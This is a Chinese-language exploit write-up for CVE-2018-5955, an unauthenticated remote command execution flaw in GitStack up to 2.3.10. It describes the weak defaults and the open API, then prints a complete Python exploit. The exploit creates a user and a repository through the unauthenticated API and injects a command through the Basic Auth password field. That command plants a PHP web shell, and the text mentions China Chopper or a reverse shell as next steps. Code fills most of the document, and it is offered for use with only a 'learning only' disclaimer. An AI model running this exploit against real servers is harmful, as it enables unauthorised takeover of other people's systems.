漏洞简介
漏洞简情
- 漏洞程序 GitStack
- 影响版本 <=2.3.10
- 漏洞类型 RCE
- 漏洞评价 高危
- 漏洞编号 CVE-2018-5955
漏洞程序介绍
GitStack是一款基于Python（Django框架）和PHP的win平台下的git可视化平台。它存在很多问题，下面简单介绍一下所有的背景安全问题。这些背景安全问题将导致RCE漏洞的利用。
背景安全问题
默认弱口令admin/admin，以及口令提示
debug模式开启，泄露敏感信息
https://a.b.c.d/rest/settings/general/admin/
可以获取足够的有效信息
API未授权访问
举例如下：
RCE漏洞利用思路以及EXP
先利用未授权的api创建用户，然后利用未授权的api创建项目，然后把用户加入项目中。
我们来看EXP的代码部分：
def __userCheck(self):
'''用户检查'''
url = '%s/rest/user/'%self.target
try:
usersJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
try:
usersJson.remove('admin')
usersJson.remove('eyeryone')
except Exception, reason:
pass
if len(usersJson) > 0 and 'pentest' in usersJson:
self.user = 'pentest'
print '[+] 发现可用账户：',self.user
else:
try:
response = requests.post(url, data={'username':'pentest', 'password':'pentest'}, verify=False)
except Exception, reason:
print '[-] 创建用户失败'
exit(0)
if 'User created' not in response.text:
print '[-] 创建用户失败'
exit(0)
else:
print '[+] 创建用户成功'
self.user = 'pentest'
def __repositoryCheck(self):
'''项目检查'''
url = '%s/rest/repository/'%self.target
try:
repositoryJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
if repositoryJson:
repository = repositoryJson[0]['name']
print '[+] 发现可用项目：',repository
self.repository = repository
else:
try:
response = requests.post(url, cookies={'csrftoken':'pentest'}, data={'name':'pentestgit', 'csrfmiddlewaretoken':'pentest'})
except Exception, reason:
print '[-] 创建项目失败'
exit(0)
if 'successfully create repository' not in response.text:
print '[-] 创建项目失败'
exit(0)
else:
print '[+] 创建项目成功'
self.repository = 'pentestgit'
def __permissionCheck(self):
'''权限检查'''
url = url = '%s/rest/repository/%s'%(self.target,self.repository)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 权限检查失败'
exit(0)
users = response.json()['user_write_list']
flag = False
if len(users) > 0:
if self.user in [x['username'] for x in users]:
print '[+] 权限检查成功'
flag = True
if not flag:
url = '%s/rest/repository/%s/user/%s/'%(self.target, self.repository, self.user)
try:
response = requests.post(url, verify=False)
except Exception, reason:
print '[-] 加载权限失败'
exit(0)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证权限失败'
exit(0)
if 'true' in response.text:
print '[+] 权限加载成功'
else:
print '[-] 权限验证失败'
exit(0)
然后访问index.php，在访问index.php的时候访问该项目的时候回对用户名密码进行验证，这个地方使用的HttpBasicAuth进行验证，在password字段存在RCE漏洞，可有在这个地方构造Payload利用执行，然后就可以写入一句话，菜刀连接也好，反弹shell也好，创建用户名密码远程登录也好，都可以操作了。
def __attack(self):
'''攻击尝试'''
url = '%s/web/index.php?p=%s.git&a=summary'%(self.target, self.repository)
try:
response = requests.get(url, auth=HTTPBasicAuth(self.user, self.payload), verify=False)
except Exception, reason:
print '[-] 攻击失败'
exit(0)
url = '%s/web/gitstack.php'%self.target
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证攻击失败'
exit(0)
if response.status_code == 200:
print '[+] 攻击成功'
else:
print '[-] 尝试访问无效，攻击失败'
exit(0)
完整代码如下：
#!/usr/bin/env python
# -*- coding:utf-8 -*-
'''
CVE-2018-5955 GitStack<= 2.3.10 远程命令执行漏洞 EXP 改进版
借鉴POC作者:CaijiOrz(GitHub账号)
作者:b0b@c
使用:仅限于学习、交流、公司内部使用
'''
import requests
from optparse import OptionParser
from requests.auth import HTTPBasicAuth
class Exploitor(object):
'''Rce漏洞利用器'''
def __init__(self, target, abusepath='c:\GitStack\gitphp', payload=None):
'''Rce漏洞利用器创建'''
self.target = target
self.abusepath = abusepath
if payload == None:
self.payload = "p && echo ^<?php echo @system($_POST['cmd']) ?^> > %s\gitstack.php"%self.abusepath
else:
self.payload = "p && echo ^<?php %s ?^> > %s\gitstack.php"%(self.payload, self.abusepath)
def __userCheck(self):
'''用户检查'''
url = '%s/rest/user/'%self.target
try:
usersJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
try:
usersJson.remove('admin')
usersJson.remove('eyeryone')
except Exception, reason:
pass
if len(usersJson) > 0 and 'pentest' in usersJson:
self.user = 'pentest'
print '[+] 发现可用账户：',self.user
else:
try:
response = requests.post(url, data={'username':'pentest', 'password':'pentest'}, verify=False)
except Exception, reason:
print '[-] 创建用户失败'
exit(0)
if 'User created' not in response.text:
print '[-] 创建用户失败'
exit(0)
else:
print '[+] 创建用户成功'
self.user = 'pentest'
def __repositoryCheck(self):
'''项目检查'''
url = '%s/rest/repository/'%self.target
try:
repositoryJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
if repositoryJson:
repository = repositoryJson[0]['name']
print '[+] 发现可用项目：',repository
self.repository = repository
else:
try:
response = requests.post(url, cookies={'csrftoken':'pentest'}, data={'name':'pentestgit', 'csrfmiddlewaretoken':'pentest'})
except Exception, reason:
print '[-] 创建项目失败'
exit(0)
if 'successfully create repository' not in response.text:
print '[-] 创建项目失败'
exit(0)
else:
print '[+] 创建项目成功'
self.repository = 'pentestgit'
def __permissionCheck(self):
'''权限检查'''
url = url = '%s/rest/repository/%s'%(self.target,self.repository)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 权限检查失败'
exit(0)
users = response.json()['user_write_list']
flag = False
if len(users) > 0:
if self.user in [x['username'] for x in users]:
print '[+] 权限检查成功'
flag = True
if not flag:
url = '%s/rest/repository/%s/user/%s/'%(self.target, self.repository, self.user)
try:
response = requests.post(url, verify=False)
except Exception, reason:
print '[-] 加载权限失败'
exit(0)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证权限失败'
exit(0)
if 'true' in response.text:
print '[+] 权限加载成功'
else:
print '[-] 权限验证失败'
exit(0)
def __attack(self):
'''攻击尝试'''
url = '%s/web/index.php?p=%s.git&a=summary'%(self.target, self.repository)
try:
response = requests.get(url, auth=HTTPBasicAuth(self.user, self.payload), verify=False)
except Exception, reason:
print '[-] 攻击失败'
exit(0)
url = '%s/web/gitstack.php'%self.target
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证攻击失败'
exit(0)
if response.status_code == 200:
print '[+] 攻击成功'
else:
print '[-] 尝试访问无效，攻击失败'
exit(0)
def attack(self):
'''攻击过程'''
self.__userCheck()
self.__repositoryCheck()
self.__permissionCheck()
self.__attack()
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="Set Target")
parser.add_option("-p", "--payload", dest="payload", help="Set Payload")
parser.add_option("-f", "--filepath", dest="filepath", help="Set FilePath")
(options, args) = parser.parse_args()
if options.target in [None,'']:
print '[-] 请输入目标URL'
exit(0)
else:
if options.payload == None and options.filepath == None:
attacker = Exploitor(options.target)
elif options.payload != None and options.filepath == None:
attacker = Exploitor(options.target, payload=options.payload)
elif options.payload == None and options.filepath != None:
attacker = Exploitor(options.target, abusepath=options.filepath)
elif options.payload != None and options.filepath != None:
attacker = Exploitor(options.target, abusepath=options.filepath, payload=options.payload)
attacker.attack()
鸣谢
参考项目 https://github.com/CaijiOrz/exploits/blob/master/GitStack_2.3.10_Unauthenticated_RCE.py
参考博客 https://xz.aliyun.com/t/2235